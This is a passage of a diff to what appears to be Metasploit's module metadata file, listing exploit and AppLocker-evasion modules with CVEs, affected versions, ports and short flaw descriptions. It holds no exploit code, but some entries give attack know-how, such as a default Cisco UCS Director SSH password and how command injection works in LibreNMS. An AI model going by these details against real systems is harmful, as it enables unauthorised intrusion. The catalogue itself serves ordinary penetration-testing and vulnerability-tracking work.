"description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binary\n PresentationHost.exe to execute user supplied code.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": [
|
||||
"Microsoft Windows"
|
||||
],
|
||||
"mod_time": "2019-08-03 10:41:13 +0000",
|
||||
"path": "/modules/evasion/windows/applocker_evasion_presentationhost.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/applocker_evasion_presentationhost",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"evasion_windows/applocker_evasion_regasm_regsvcs": {
|
||||
"name": "Applocker Evasion - Microsoft .NET Assembly Registration Utility",
|
||||
"fullname": "evasion/windows/applocker_evasion_regasm_regsvcs",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "evasion",
|
||||
"author": [
|
||||
"Nick Tyrer <@NickTyrer>",
|
||||
"Casey Smith"
|
||||
],
|
||||
"description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n RegAsm.exe or RegSvcs.exe to execute user supplied code.",
|
||||
"references": [
|
||||
"URL-https://attack.mitre.org/techniques/T1121/"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": [
|
||||
"Microsoft Windows"
|
||||
],
|
||||
"mod_time": "2019-08-08 18:36:36 +0000",
|
||||
"path": "/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/applocker_evasion_regasm_regsvcs",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"evasion_windows/applocker_evasion_workflow_compiler": {
|
||||
"name": "Applocker Evasion - Microsoft Workflow Compiler",
|
||||
"fullname": "evasion/windows/applocker_evasion_workflow_compiler",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "evasion",
|
||||
"author": [
|
||||
"Nick Tyrer <@NickTyrer>",
|
||||
"Matt Graeber"
|
||||
],
|
||||
"description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n Microsoft.Workflow.Compiler.exe to execute user supplied code.",
|
||||
"references": [
|
||||
"URL-https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": [
|
||||
"Microsoft Windows"
|
||||
],
|
||||
"mod_time": "2019-08-08 18:48:10 +0000",
|
||||
"path": "/modules/evasion/windows/applocker_evasion_workflow_compiler.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/applocker_evasion_workflow_compiler",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"evasion_windows/windows_defender_exe": {
|
||||
"name": "Microsoft Windows Defender Evasive Executable",
|
||||
"fullname": "evasion/windows/windows_defender_exe",
|
||||
@@ -50649,63 +50859,6 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/cisco_rv130_rmi_rce": {
|
||||
"name": "Cisco RV130W Routers Management Interface Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/cisco_rv130_rmi_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 400,
|
||||
"disclosure_date": "2019-02-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Yu Zhang",
|
||||
"Haoliang Lu",
|
||||
"T. Shiomitsu",
|
||||
"Quentin Kaiser <kaiserquentin@gmail.com>"
|
||||
],
|
||||
"description": "A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router\n could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.\n\n The vulnerability is due to improper validation of user-supplied data in the web-based management interface.\n An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.\n\n A successful exploit could allow the attacker to execute arbitrary code on the underlying operating\n system of the affected device as a high-privilege user.\n\n RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.\n\n Note: successful exploitation may not result in a session, and as such,\n on_new_session will never repair the HTTP server, leading to a denial-of-service condition.",
|
||||
"references": [
|
||||
"CVE-2019-1663",
|
||||
"BID-107185",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex",
|
||||
"URL-https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "armle",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Cisco RV130/RV130W < 1.0.3.45"
|
||||
],
|
||||
"mod_time": "2019-08-02 09:48:53 +0000",
|
||||
"path": "/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/cisco_rv130_rmi_rce",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/cisco_rv32x_rce": {
|
||||
"name": "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/cisco_rv32x_rce",
|
||||
@@ -50762,6 +50915,59 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/cisco_ucs_rce": {
|
||||
"name": "Cisco UCS Director Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/cisco_ucs_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-08-21",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Pedro Ribeiro <pedrib@gmail.com>"
|
||||
],
|
||||
"description": "The Cisco UCS Director virtual appliance contains two flaws that can be combined\n and abused by an attacker to achieve remote code execution as root.\n The first one, CVE-2019-1937, is an authentication bypass, that allows the\n attacker to authenticate as an administrator.\n The second one, CVE-2019-1936, is a command injection in a password change form,\n that allows the attacker to inject commands that will execute as root.\n This module combines both vulnerabilities to achieve the unauthenticated command\n injection as root.\n It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.\n Note that Cisco also mentions in their advisory that their IMC Supervisor and\n UCS Director Express are also affected by these vulnerabilities, but this module\n was not tested with those products.",
|
||||
"references": [
|
||||
"CVE-2019-1937",
|
||||
"CVE-2019-1936",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj",
|
||||
"URL-FULL_DISC",
|
||||
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Cisco UCS Director < 6.7.2.0"
|
||||
],
|
||||
"mod_time": "2019-08-29 19:49:37 +0000",
|
||||
"path": "/modules/exploits/linux/http/cisco_ucs_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/cisco_ucs_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/cpi_tararchive_upload": {
|
||||
"name": "Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability",
|
||||
"fullname": "exploit/linux/http/cpi_tararchive_upload",
|
||||
@@ -50872,6 +51078,74 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/cve_2019_1663_cisco_rmi_rce": {
|
||||
"name": "Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/cve_2019_1663_cisco_rmi_rce",
|
||||
"aliases": [
|
||||
"exploit/linux/http/cisco_rv130_rmi_rce"
|
||||
],
|
||||
"rank": 400,
|
||||
"disclosure_date": "2019-02-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Yu Zhang",
|
||||
"Haoliang Lu",
|
||||
"T. Shiomitsu",
|
||||
"Quentin Kaiser <kaiserquentin@gmail.com>"
|
||||
],
|
||||
"description": "A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,\n Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router\n could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.\n\n The vulnerability is due to improper validation of user-supplied data in the web-based management interface.\n An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.\n\n A successful exploit could allow the attacker to execute arbitrary code on the underlying operating\n system of the affected device as a high-privilege user.\n\n RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.\n RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.\n RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.\n\n Note: successful exploitation may not result in a session, and as such,\n on_new_session will never repair the HTTP server, leading to a denial-of-service condition.",
|
||||
"references": [
|
||||
"CVE-2019-1663",
|
||||
"BID-107185",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex",
|
||||
"URL-https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "armle, mipsle",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Cisco RV110W 1.1.0.9",
|
||||
"Cisco RV110W 1.2.0.9",
|
||||
"Cisco RV110W 1.2.0.10",
|
||||
"Cisco RV110W 1.2.1.4",
|
||||
"Cisco RV110W 1.2.1.7",
|
||||
"Cisco RV130/RV130W < 1.0.3.45",
|
||||
"Cisco RV215W 1.1.0.5",
|
||||
"Cisco RV215W 1.1.0.6",
|
||||
"Cisco RV215W 1.2.0.14",
|
||||
"Cisco RV215W 1.2.0.15",
|
||||
"Cisco RV215W 1.3.0.7",
|
||||
"Cisco RV215W 1.3.0.8"
|
||||
],
|
||||
"mod_time": "2019-08-30 12:03:43 +0000",
|
||||
"path": "/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/cve_2019_1663_cisco_rmi_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/dcos_marathon": {
|
||||
"name": "DC/OS Marathon UI Docker Exploit",
|
||||
"fullname": "exploit/linux/http/dcos_marathon",
|
||||
@@ -53472,6 +53746,56 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/librenms_collectd_cmd_inject": {
|
||||
"name": "LibreNMS Collectd Command Injection",
|
||||
"fullname": "exploit/linux/http/librenms_collectd_cmd_inject",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-07-15",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eldar Marcussen",
|
||||
"Shelby Pace"
|
||||
],
|
||||
"description": "This module exploits a command injection vulnerability in the\n Collectd graphing functionality in LibreNMS.\n\n The `to` and `from` parameters used to define the range for\n a graph are sanitized using the `mysqli_escape_real_string()`\n function, which permits backticks. These parameters are used\n as part of a shell command that gets executed via the `passthru()`\n function, which can result in code execution.",
|
||||
"references": [
|
||||
"CVE-2019-10669",
|
||||
"URL-https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2019-08-13 13:39:15 +0000",
|
||||
"path": "/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/librenms_collectd_cmd_inject",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/lifesize_uvc_ping_rce": {
|
||||
"name": "LifeSize UVC Authenticated RCE via Ping",
|
||||
"fullname": "exploit/linux/http/lifesize_uvc_ping_rce",
|
||||
@@ -57084,6 +57408,56 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/ubiquiti_airos_file_upload": {
|
||||
"name": "Ubiquiti airOS Arbitrary File Upload",
|
||||
"fullname": "exploit/linux/http/ubiquiti_airos_file_upload",
|
||||
"aliases": [
|
||||
"exploit/linux/ssh/ubiquiti_airos_file_upload"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2016-02-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"93c08539",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a pre-auth file upload to install a new root user\n to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.\n\n FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.\n /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.\n\n This method is used by the \"mf\" malware infecting these devices.",
|
||||
"references": [
|
||||
"EDB-39701",
|
||||
"URL-https://hackerone.com/reports/73480"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Ubiquiti airOS < 5.6.2"
|
||||
],
|
||||
"mod_time": "2019-08-22 11:27:32 +0000",
|
||||
"path": "/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/ubiquiti_airos_file_upload",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/ueb_api_rce": {
|
||||
"name": "Unitrends UEB http api remote code execution",
|
||||
"fullname": "exploit/linux/http/ueb_api_rce",
|
||||
@@ -58584,6 +58958,50 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/exim4_deliver_message_priv_esc": {
|
||||
"name": "Exim 4.87 - 4.91 Local Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/exim4_deliver_message_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-06-05",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Qualys",
|
||||
"Dennis Herrmann",
|
||||
"Marco Ivaldi",
|
||||
"Guillaume André"
|
||||
],
|
||||
"description": "This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n Improper validation of recipient address in deliver_message()\n function in /src/deliver.c may lead to command execution with root privileges\n (CVE-2019-10149).",
|
||||
"references": [
|
||||
"CVE-2019-10149",
|
||||
"EDB-46996",
|
||||
"URL-https://www.openwall.com/lists/oss-security/2019/06/06/1"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Exim 4.87 - 4.91"
|
||||
],
|
||||
"mod_time": "2019-07-18 10:45:44 +0000",
|
||||
"path": "/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/exim4_deliver_message_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/glibc_ld_audit_dso_load_priv_esc": {
|
||||
"name": "glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/glibc_ld_audit_dso_load_priv_esc",
|
||||
@@ -58866,6 +59284,49 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/ktsuss_suid_priv_esc": {
|
||||
"name": "ktsuss suid Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/ktsuss_suid_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2011-08-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"John Lightsey",
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module attempts to gain root privileges by exploiting\n a vulnerability in ktsuss versions 1.4 and prior.\n\n The ktsuss executable is setuid root and does not drop\n privileges prior to executing user specified commands,\n resulting in command execution with root privileges.\n\n This module has been tested successfully on:\n\n ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and\n ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).",
|
||||
"references": [
|
||||
"CVE-2011-2921",
|
||||
"URL-https://www.openwall.com/lists/oss-security/2011/08/13/2",
|
||||
"URL-https://security.gentoo.org/glsa/201201-15",
|
||||
"URL-https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2019-09-02 13:31:30 +0000",
|
||||
"path": "/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/ktsuss_suid_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/lastore_daemon_dbus_priv_esc": {
|
||||
"name": "lastore-daemon D-Bus Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/lastore_daemon_dbus_priv_esc",
|
||||
@@ -59232,6 +59693,53 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/ptrace_sudo_token_priv_esc": {
|
||||
"name": "ptrace Sudo Token Privilege Escalation",
|
||||
"fullname": "exploit/linux/local/ptrace_sudo_token_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-03-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"chaignc",
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module attempts to gain root privileges by blindly injecting into\n the session user's running shell processes and executing commands by\n calling `system()`, in the hope that the process has valid cached sudo\n tokens with root privileges.\n\n The system must have gdb installed and permit ptrace.\n\n This module has been tested successfully on:\n\n Debian 9.8 (x64); and\n CentOS 7.4.1708 (x64).",
|
||||
"references": [
|
||||
"EDB-46989",
|
||||
"URL-https://github.com/nongiach/sudo_inject",
|
||||
"URL-https://www.kernel.org/doc/Documentation/security/Yama.txt",
|
||||
"URL-http://man7.org/linux/man-pages/man2/ptrace.2.html",
|
||||
"URL-https://lwn.net/Articles/393012/",
|
||||
"URL-https://lwn.net/Articles/492667/",
|
||||
"URL-https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/",
|
||||
"URL-https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2019-08-10 07:03:23 +0000",
|
||||
"path": "/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/ptrace_sudo_token_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/rc_local_persistence": {
|
||||
"name": "rc.local Persistence",
|
||||
"fullname": "exploit/linux/local/rc_local_persistence",
|
||||
@@ -61881,6 +62389,48 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/snmp/awind_snmp_exec": {
|
||||
"name": "AwindInc SNMP Service Command Injection",
|
||||
"fullname": "exploit/linux/snmp/awind_snmp_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-03-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Quentin Kaiser <kaiserquentin@gmail.com>"
|
||||
],
|
||||
"description": "This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.\n A valid SNMP read-write community is required to exploit this vulnerability.\n\n The following devices are known to be affected by this issue:\n\n * Crestron Airmedia AM-100 <= version 1.5.0.4\n * Crestron Airmedia AM-101 <= version 2.5.0.12\n * Awind WiPG-1600w <= version 2.0.1.8\n * Awind WiPG-2000d <= version 2.1.6.2\n * Barco wePresent 2000 <= version 2.1.5.7\n * Newline Trucast 2 <= version 2.1.0.5\n * Newline Trucast 3 <= version 2.1.3.7",
|
||||
"references": [
|
||||
"CVE-2017-16709",
|
||||
"URL-https://github.com/QKaiser/awind-research",
|
||||
"URL-https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, armle",
|
||||
"rport": 161,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Unix In-Memory",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2019-09-04 12:04:46 +0000",
|
||||
"path": "/modules/exploits/linux/snmp/awind_snmp_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/snmp/awind_snmp_exec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ssh/ceragon_fibeair_known_privkey": {
|
||||
"name": "Ceragon FibeAir IP-10 SSH Private Key Exposure",
|
||||
"fullname": "exploit/linux/ssh/ceragon_fibeair_known_privkey",
|
||||
@@ -61922,6 +62472,48 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ssh/cisco_ucs_scpuser": {
|
||||
"name": "Cisco UCS Director default scpuser password",
|
||||
"fullname": "exploit/linux/ssh/cisco_ucs_scpuser",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-08-21",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Pedro Ribeiro <pedrib@gmail.com>"
|
||||
],
|
||||
"description": "This module abuses a known default password on Cisco UCS Director. The 'scpuser'\n has the password of 'scpuser', and allows an attacker to login to the virtual appliance\n via SSH.\n This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.\n Note that Cisco also mentions in their advisory that their IMC Supervisor and\n UCS Director Express are also affected by these vulnerabilities, but this module\n was not tested with those products.",
|
||||
"references": [
|
||||
"CVE-2019-1935",
|
||||
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred",
|
||||
"URL-https://seclists.org/fulldisclosure/2019/Aug/36",
|
||||
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 22,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Cisco UCS Director < 6.7.2.0"
|
||||
],
|
||||
"mod_time": "2019-08-31 00:18:46 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/cisco_ucs_scpuser",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ssh/exagrid_known_privkey": {
|
||||
"name": "ExaGrid Known SSH Key and Default Password",
|
||||
"fullname": "exploit/linux/ssh/exagrid_known_privkey",
|
||||
@@ -62246,56 +62838,6 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ssh/ubiquiti_airos_file_upload": {
|
||||
"name": "Ubiquiti airOS Arbitrary File Upload",
|
||||
"fullname": "exploit/linux/ssh/ubiquiti_airos_file_upload",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2016-02-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"93c08539",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a pre-auth file upload to install a new root user\n to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.\n\n FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.\n /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.\n\n This method is used by the \"mf\" malware infecting these devices.",
|
||||
"references": [
|
||||
"EDB-39701",
|
||||
"URL-https://hackerone.com/reports/73480"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Ubiquiti airOS < 5.6.2"
|
||||
],
|
||||
"mod_time": "2018-11-16 12:18:28 +0000",
|
||||
"path": "/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ssh/ubiquiti_airos_file_upload",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ssh/vmware_vdp_known_privkey": {
|
||||
"name": "VMware VDP Known SSH Key",
|
||||
"fullname": "exploit/linux/ssh/vmware_vdp_known_privkey",
|
||||
@@ -65192,6 +65734,46 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/fileformat/zip_slip": {
|
||||
"name": "Generic Zip Slip Traversal Vulnerability",
|
||||
"fullname": "exploit/multi/fileformat/zip_slip",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2018-06-05",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
